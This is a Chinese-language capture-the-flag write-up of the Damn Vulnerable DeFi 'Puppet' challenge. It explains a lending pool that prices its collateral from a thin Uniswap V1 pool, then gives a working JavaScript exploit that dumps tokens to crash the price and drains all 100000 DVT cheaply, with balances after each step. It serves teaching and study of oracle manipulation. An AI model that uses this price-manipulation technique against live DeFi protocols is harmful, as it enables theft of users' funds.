Defi黑客系列：Damn Vulnerable DeFi (八) - Puppet

题目链接：https://www.damnvulnerabledefi.xyz/challenges/8.html

题目描述：

有一个借贷池提供 DVT 代币的借贷服务，但需要先存入两倍价值的 ETH 作为抵押物。现在这个池子里有 100000 个 DVT。

UniswapV1 现在有交易对 ETH-DVT，且有 10ETH 和 10DVT。

现在你有 25 个 ETH 和 1000DVT。你需要窃取借贷池中的所有代币。

借贷合约 PuppetPool.sol 提供的借贷的功能如下

Copy
// 借出 DVT，但前提是存入两倍价值的等额 ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
// 计算需要存入的ETH数量
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");

// 返还多存的ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

// 保存 msg.sender 存入的ETH数量
deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// 将 DVT token 转给 msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

该方法主要做了以下几件事:

根据借出的 DVT 数量，计算需要存入 ETH 的数量 depositRequired

确保调用时存入的 ETH 数量是大于 depositRequired，如果存入的多了，会返还差值。

保存存入的 ETH 数量，并借出 DVT

计算需要存入 ETH 的数量是根据 uniswapv1 中配对合约 ETH-DVT 的流动性来计算。这里先简单介绍下 uniswapv1 中的合约及其方法。

共有两种合约：

Factory 工厂合约，用来创建并部署配对合约。核心方法是 createExchange(token: address): address 用来创建 ETH 对 token 的配对合约并部署，返回配对合约地址。

Exchange 交易合约，也叫配对合约。在 v1 版本中只有 ETH 对 Token 的交易对，不存在 Token 对 Token 的交易对。

当通过工厂合约创建了配对合约后，便能调用方法 addLiquidity 向其中添加流动性，也就是将 Token 和 ETH 存入到配对合约中，同时流动性提供者会获得 LP token 作为提供流动性的凭证。

Copy
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256

调用该方法时，除了参数外还需要发送 ETH，参数详解如下：

min_liquidity 流动性提供者期望获得的最少的 LP token 数量，如果最后获得的小于该值，则交易会回滚

max_tokens 流动性提供者想要提供的最大代币数量，如果计算得出的代币数量大于该值，而又不想提供时，则交易回滚

deadline 提供流动性的截止时间

当配对合约中有了流动性，其他交易者便能进行交易。不同于中心化交易所，交易价格由订单簿的最新成交价确定。uniswap 中的交易价格是根据恒定乘积公式计算的

Copy 恒定乘积公式：k=x×y 恒定乘积公式：k = x \times y恒定乘积公式：k=x×y

其中 x xx 和 y yy 是配对的两个币种的储备量。

假设有配对合约 ETH-USDT， 其中 ETH 有 10 个作为 x xx，USDT 有 100 个作为 y yy。则 k=10×100=1000 k = 10 \times 100 = 1000k=10×100=1000

此时要出售 Δx\Delta xΔx 个 ETH, 得到 USDT 的数量为 Δy\Delta yΔy。也就相当于池子中 ETH 的数量变为了 x+Δx x + \Delta xx+Δx，根据恒定乘积公式：

Copy x×y=(x+Δx)(y−Δy)y−Δy=x×yx+Δx Δy=y−x×yx+Δx Δy=y×(x+Δx)x+Δx−x×yx+Δx Δy=x×y+y×Δx−x×yx+Δx Δy=y×Δxx+Δx\begin{align*} & x \times y = (x + \Delta x)(y - \Delta y) \\ & y - \Delta y = \frac {x \times y}{x + \Delta x} \\ & \Delta y = y - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times (x + \Delta x)}{x + \Delta x} - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {x \times y + y \times \Delta x - x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \end{align*}​x×y=(x+Δx)(y−Δy)y−Δy=x+Δxx×y​Δy=y−x+Δxx×y​Δy=x+Δxy×(x+Δx)​−x+Δxx×y​Δy=x+Δxx×y+y×Δx−x×y​Δy=x+Δxy×Δx​​

同理出售 Δy\Delta yΔy 个 USDT ，得到 ETH 数量为 Δx=x×Δyy−Δy\Delta x = \frac {x \times \Delta y}{y - \Delta y}Δx=y−Δyx×Δy​

这是在没有手续费的情况下的计算公式，但通常情况中会收取 0.3% 的手续费，并根据流动性提供者所持有 LP token 的比例分配。

在存在手续费的情况下，要出售 Δx\Delta xΔx 个 ETH，相当于实际出售的 ETH 数量是 Δx×(1−0.3%)=Δx×0.997\Delta x \times (1 - 0.3\%) = \Delta x \times 0.997Δx×(1−0.3%)=Δx×0.997，uniswap 为了计算方便，将分子分母同时乘以 1000。

Copy Δy=y×Δxx+Δx Δy=y×(Δx×0.997)x+(Δx×0.997)Δy=y×(Δx×0.9977)×1000x×1000+(Δx×0.997)×1000 Δy=y×Δx×997x×1000+Δx×997\begin{align*} & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \\ & \Delta y = \frac {y \times (\Delta x \times 0.997)}{x + (\Delta x \times 0.997)} \\ & \Delta y = \frac {y \times (\Delta x \times 0.9977) \times 1000}{x \times 1000 + (\Delta x \times 0.997) \times 1000} \\ & \Delta y = \frac {y \times \Delta x \times 997}{x \times 1000 + \Delta x \times 997} \end{align*}​Δy=x+Δxy×Δx​Δy=x+(Δx×0.997)y×(Δx×0.997)​Δy=x×1000+(Δx×0.997)×1000y×(Δx×0.9977)×1000​Δy=x×1000+Δx×997y×Δx×997​​

在 uniswap 的 v1 版本中提供了几个方法用于查询价格

getEthToTokenInputPrice(eth_sold: uint256): uint256 输入卖出的 ETH 数量，返回得到的 token 数量

getTokenToEthOutputPrice(eth_bought: uint256): uint256 输入要买的 ETH 数量，返回需要给出的 token 数量

getEthToTokenOutputPrice(tokens_bought: uint256): uint256 输入要买的 token 数量，返回需要给出的 ETH 数量

getTokenToEthInputPrice(tokens_sold: uint256): uint256 输入要卖的 token 数量，返回得到的 ETH 数量

兑换相关方法如下:

ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256 用 ETH 兑换 token：min_tokens 是期望得到的最少的 token 数量。如果调用该方法时发送的 ETH 数量不足以兑换期望的 token 数量，则交易失败。如果足够，则全额兑换并执行交易。函数返回值为可兑换的 token 数量。

ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256 用 ETH 兑换 token：调用该方法时发送 ETH 用以兑换 tokens_bought 数量的 token , 如果发送的 ETH 数量过多，则会返还多余的数量，函数返回值为实际出售的 ETH 数量

tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256 用 token 兑换 ETH

tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256 用 token 兑换 ETH

再回到题目中，借贷合约 PuppetPool.sol 中计算需要存入的 ETH 数量的方法 calculateDepositRequired

Copy
// 计算需要存入的 eth 数量
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 抵押物的价值 = 借出的数量 * 价格 * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

// 计算每个 token 的价值等同于多少ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

从代码中可以看出，token 的价值来自于 uniswap 配对的两个币种的储备量。

假设有配对合约 ETH-UNI，其中有 100 个 ETH 和 10 个 UNI ，则 1UNI 的价值等同于 10ETH，即每个 token 价值等于 ETH 储备量Token 储备量\frac {ETH储备量}{Token储备量}Token储备量ETH储备量​，如果能够增加分母的值或减小分子的值，则会降低每个 token 的价值。

已知条件中黑客持有 25 个 ETH 和 1000DVT，因此可以用黑客持有的 1000DVT 去兑换 ETH，此举会大大增加分母的值并减小分子的值。也就意味着 DVT 的价值会变的很低。

之后再去进行借贷，需要抵押的 ETH 将只需要很少的数量。最后再从 uniswap 中重新兑换回 DVT

Copy
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)

// 授权 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)

// 初始余额
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10

// 在 uniswap 中使用 DVT 兑换 ETH
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010

// 计算需要抵押的 ETH 数量
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0

// 计算从 uniswap 兑换 ATTACKER_INITIAL_TOKEN_BALANCE 数量的 DVT 需要多少 ETH
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101

// 兑换 DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})

攻击者利用 uniswap 操纵价格，用 19.6643298887982ETH 作为抵押物成功借出了 100000DVT。而如果直接借的话，则需要付出的成本为 200000ETH

最后执行 yarn puppet 测试通过！

完整代码